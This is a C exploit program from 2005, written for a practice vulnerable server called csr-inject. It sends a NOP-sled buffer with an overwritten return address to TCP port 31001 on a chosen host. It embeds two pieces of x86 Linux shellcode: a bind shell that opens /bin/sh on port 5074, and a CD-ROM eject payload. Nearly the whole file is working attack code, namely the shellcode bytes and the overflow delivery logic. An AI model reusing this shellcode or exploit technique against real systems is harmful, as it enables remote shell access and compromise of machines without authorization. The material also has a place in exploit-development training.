/*
 * n00b xploit for ...
 * 
 * *  csr-inject_v1.tgz
 * *
 * *  A standard remote stack overflow exercise
 * *
 * *  SolarIce 2005
 * *  www.covertsystems.org
 *
 * #chown root.root ./csr-inject_v1
 * #chmod 4755 ./csr-inject_v1
 * $./csr-inject_v1 &
 * $ gcc csr-n00bploit.c -o xpl
 * $ ./xpl
 * Usage: ./xpl <hostname|ip> <offset> <payload>
 *
 *	 Payloads:
 * 	1: bind port 5074/tcp
 * 	2: eject /dev/cdrom		
 * $./xpl localhost 2262 2
 * Offset could be a number between 500 and 2500
 * 
 * nitrous<at>danitrous<dot>org
 * 23/July/2005
 */

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<netdb.h>
#include<sys/socket.h>
#include<netinet/in.h>

#define	PORT	31001
#define	BUFSIZE	272
#define	STACK	(unsigned long) 0xbffffffa

int usage(char *);

char eject[]=		/**** By lamagra ****/
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\xeb\x23\x5e\x88\x56\x0a\x8d"
"\x1e\xb0\x05\x66\xb9\x04\x08\x66\xba\x9a\x02\xcd\x80\x89\xc3\xb0\x36\x66\xb9"
"\x09\x53\xcd\x80\x31\xc0\x31\xdb\x40\xcd\x80\xe8\xd8\xff\xff\xff/dev/cdrom";

char bind5074[]=	/**** By s0t4ipv6 ****/
// Shellcode                    // AsmCode                      / Comentarios                   Referencia kernel
// sys_fork (2)
"\x31\xc0"                      // xorl         %eax,%eax
"\x89\xc3"                      // movl         %eax,%ebx
"\xb0\x02"                      // movb         $0x2,%al        / sys_fork (2)
"\xcd\x80"                      // int          $0x80
"\x38\xc3"                      // cmpl         %ebx,%eax       / Pregunto; %eax = 0x0
"\x74\x05"                      // je           0x5             / Si es verdadero me salto el la funcion exit

// sys_exit (1)
"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax  / sys_exit (1)
"\xcd\x80"                      // int          $0x80

// Subrutina socket
// soccer=socket(2,1,0)
"\x31\xc0"                      // xorl    %eax,%eax
"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)      / IPPROTO_IP = 0x0              include/linux/in.h
"\x40"                          // incl    %eax                 / %eax es 0x1
"\x89\xc3"                      // movl    %eax,%ebx            / SYS_SOCKET = 0x1              include/linux/net.h
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)       / SOCK_STREAM = 0x1             include/linux/socket.h
"\x40"                          // incl    %eax                 / %eax es 0x2
"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)       / AF_INET = 0x2                 include/linux/socket.h
"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx       / Direccion de nuestra construccion a %ecx
"\xb0\x66"                      // movb    $0x66,%al            / sys_socketcall (102)
"\xcd\x80"                      // int     $0x80
"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)       / Guardo el valor de %eax en 0x8(%ebp) Ref(*1)

                                                                // %eax=0x5 %ebx=0x1 %ecx=(%edi+8) %edx=0x3
// Subrutina bind
// bind(soccer, (struct sockaddr*)&serv, sizeof(struct sockaddr))
"\x43"                          // incl    %ebx                 / SYS_BIND = 0x2                include/linux/net.h
"\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)       / AF_INET = 0x2                 include/linux/socket.h
"\x66\xc7\x45\x16\x13\xd2"      // movw    $0xd213,0x16(%ebp)   / Numero de puerto 5074ipv6 ;-))
"\x31\xd2"                      // xorl    %edx,%edx
"\x89\x55\x18"                  // movl    %edx,0x18(%ebp)      / %edx es 0x0
"\x8d\x55\x14"                  // leal    0x14(%ebp),%edx      / Usamos %edx como registro intermedio
"\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)       /
"\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)     / sizeof(struct sockaddr) = 10h = 16
"\xb0\x66"                      // movb    $0x66,%al            /       4 bytes = AF_INET
"\xcd\x80"                      // int     $0x80                /       4 bytes = Puerto
                                                                //      8 bytes = 0.0.0.0

                                                                // %eax=0x0 %ebx=0x2 %ecx=(%edi+8) %edx=(%edi+14)
// Subrutina listen
// listen(soccer, 1)
"\x40"                          // incl    %eax
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)       / Aceptamos 1 conexion, 2 no tendria sentido
"\x43"                          // incl    %ebx                 / Ref(*2a)
"\x43"                          // incl    %ebx                 / SYS_LISTEN = 0x4              include/linux/net.h
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80

                                                                // %eax=0x0 %ebx=0x4 %ecx(%edi+8) %edx=(%edi+14)
// Subrutina accept
// int accept(int s, struct sockaddr *addr, socklen_t *addrlen);
"\x43"                          // incl    %ebx                 / %ebx es 0x5
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)       / Ponemos 0 en 0xc(%ebp)
"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)      / Y un NULL en 0x10(%ebp) Ref(*2b)
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80
"\x89\xc3"                      // movl    %eax,%ebx            / El valor de soccer a %ebx

// Ahora vamos a cambiar la syscall a sys_dup2 (63)
// dup2(soccer, 0) el valor de soccer ya lo tenemos en ebx 3 lineas arriba
"\x31\xc9"                      // xorl    %ecx,%ecx            / %ecx es 0x0
"\xb0\x3f"                      // movb    $0x3f,%al            / sys_dup2 (63)
"\xcd\x80"                      // int     $0x80                /
"\x41"                          // incl    %ecx                 / %ecx es 0x1
"\x80\xf9\x03"                  // cmpb    $0x3,%cl             / Pregunto; %ecx = 3
"\x75\xf6"                      // jne     -0xa                 / si es falso salto al movb

// execve                       // Minishell de Raise
"\x31\xd2"                      // xorl    %edx,%edx
"\x52"                          // pushl   %edx
"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x52"                          // pushl   %edx
"\x53"                          // pushl   %ebx
"\x89\xe1"                      // movl    %esp,%ecx
"\xb0\x0b"                      // movb    $0xb,%al             / Raise: esta linea la modifique para reducir 1 byte
"\xcd\x80";                     // int     $0x80

main(int argc, char **argv)
{
	char *hell= (char *) malloc(BUFSIZE);
	struct sockaddr_in viktim;
	struct hostent *hst;
	int sockfd;

	if( argc != 4 )
		exit( usage(argv[0]) );

	if( (atoi(argv[3]) != 1) && (atoi(argv[3]) != 2) )
		exit( usage(argv[0]) );

	if( (hst = gethostbyname(argv[1])) == NULL ){
		perror("gethostbyname");
		exit(EXIT_FAILURE);
	}

	if( (sockfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1 ){
		perror("socket");
		exit(EXIT_FAILURE);
	}

	memset(&viktim, 0x00, sizeof(viktim));
	viktim.sin_family	= AF_INET;
	viktim.sin_addr		= *((struct in_addr *)hst->h_addr);
	viktim.sin_port		= htons(PORT);
	
	if( connect(sockfd, (struct sockaddr *)&viktim, 16) == -1 ){
		perror("connect");
		close(sockfd);
		exit(EXIT_FAILURE);
	}

	memset(hell, 0x90, BUFSIZE);
	if( atoi(argv[3]) == 1 )
		memcpy(hell+BUFSIZE-4-strlen(bind5074), bind5074, strlen(bind5074));
	else
		memcpy(hell+BUFSIZE-4-strlen(eject), eject, strlen(eject));
	*(unsigned long *)&hell[268] = STACK - atoi(argv[2]);

	printf("-=[ CSR-Inject Vulnerable Server @  %s\n", inet_ntoa(*(struct in_addr *)hst->h_addr));
	printf("-=[ Jumping to: 0x%x\n", STACK - atoi(argv[2]));

	if( send(sockfd, hell, BUFSIZE, 0) == -1 ){
		perror("send");
		close(sockfd);
		exit(EXIT_FAILURE);
	}

	printf("Done!\n");
}

int usage(char *prg)
{
	fprintf(stderr, "Usage: %s <hostname|ip> <offset> <payload>\n\n"
			"\tPayloads:\n"
			"\t1: bind port 5074/tcp\n"
			"\t2: eject /dev/cdrom\n", prg);

	return EXIT_SUCCESS;
}
